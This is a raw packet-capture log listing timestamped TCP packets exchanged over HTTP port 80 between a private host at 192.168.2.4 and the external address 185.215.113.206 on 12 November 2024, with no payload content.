Nov 12, 2024 02:13:23.851109028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.851149082 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.851155996 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.851166010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.851202965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.934721947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.934734106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.934791088 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.957308054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.957320929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.957338095 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.957350016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.957396030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.957427025 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962255001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962270975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962282896 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962330103 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962337017 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962347984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962359905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962371111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962404013 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962460041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962502956 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962543011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962555885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962589979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962593079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962608099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962630033 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962641001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962645054 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962652922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962670088 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962692976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962701082 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.962704897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.962743998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963022947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963047981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963058949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963068008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963072062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963083982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963088036 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963120937 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963145971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963515997 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963532925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963543892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963565111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963577032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963598967 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963599920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963612080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963624001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963654995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963679075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963880062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963892937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963937998 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963939905 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963952065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963965893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.963979006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.963995934 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964001894 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964008093 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964061975 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964238882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964278936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964292049 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964303017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964314938 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964355946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964361906 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964413881 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964426994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964472055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964476109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964490891 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964503050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964513063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964529991 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964557886 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964808941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964823008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964833975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964858055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964880943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964881897 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964899063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964922905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964934111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964940071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964947939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.964952946 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964977980 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.964982033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.965014935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965020895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.965028048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965039968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965059042 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.965076923 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.965713024 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965724945 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965737104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965759039 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.965778112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.965795994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965866089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965879917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965893030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.965914011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.965934992 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.966279030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966293097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966303110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966325998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.966346979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.966392994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966417074 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966428041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966468096 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.966712952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966734886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966747999 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966758966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966763020 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.966772079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.966774940 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.966799974 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.966839075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.010384083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.010395050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.010447979 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.072705984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.072721004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.072731972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.072771072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.072803974 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.077733040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077744961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077754974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077764988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077775955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077780008 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.077789068 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077800035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077811003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077847004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.077847958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.077847958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.077896118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077908039 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077920914 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.077946901 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.077976942 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.078001976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078013897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078023911 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078033924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078043938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078068972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.078097105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.078413963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078427076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078437090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078475952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078485966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078497887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.078522921 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.078938961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.078991890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079003096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079004049 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079024076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079025030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079036951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079046011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079050064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079058886 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079087973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079094887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079364061 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079376936 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079386950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079421043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079447031 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079449892 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079462051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079471111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079503059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079525948 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079540014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079665899 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079677105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079685926 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079719067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079741955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079746008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079757929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079767942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079778910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079791069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079796076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079802990 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079833031 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079849005 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079850912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079863071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079891920 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079922915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079933882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079941988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.079958916 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.079989910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.080147982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080172062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080184937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080194950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080239058 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.080245972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080255985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080266953 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.080270052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080286026 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.080307961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.080332041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080341101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.080375910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081109047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081141949 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081154108 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081198931 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081202030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081208944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081213951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081228018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081250906 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081276894 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081293106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081597090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081612110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081621885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081635952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081650972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081682920 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081777096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081794024 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081805944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081820011 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081832886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081846952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081850052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081859112 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.081870079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.081901073 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.082046032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.082057953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.082067013 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.082094908 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.082120895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.082129955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.082142115 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.082153082 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.082190037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.170329094 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.170341015 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.170387030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.188018084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.188039064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.188050985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.188071966 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.188097000 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.192881107 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.192936897 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.236696005 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.241559029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521683931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521698952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521749973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.521795988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521847010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521858931 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521871090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521892071 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.521922112 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.521929026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521948099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521962881 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521970987 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.521975040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521991014 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.521996975 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522005081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522022963 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522047997 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522049904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522066116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522077084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522088051 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522089958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522100925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522113085 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522119045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522142887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522149086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522161007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522170067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522178888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522186041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522191048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522198915 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522222996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522238970 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522242069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522278070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522347927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522361040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522382975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522384882 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522399902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522403955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522412062 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522424936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522425890 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522433043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522439003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522448063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522452116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522466898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522473097 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522484064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522502899 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522522926 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522602081 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522629023 CET	80	49755	185.215.113.206	192.168.2.4
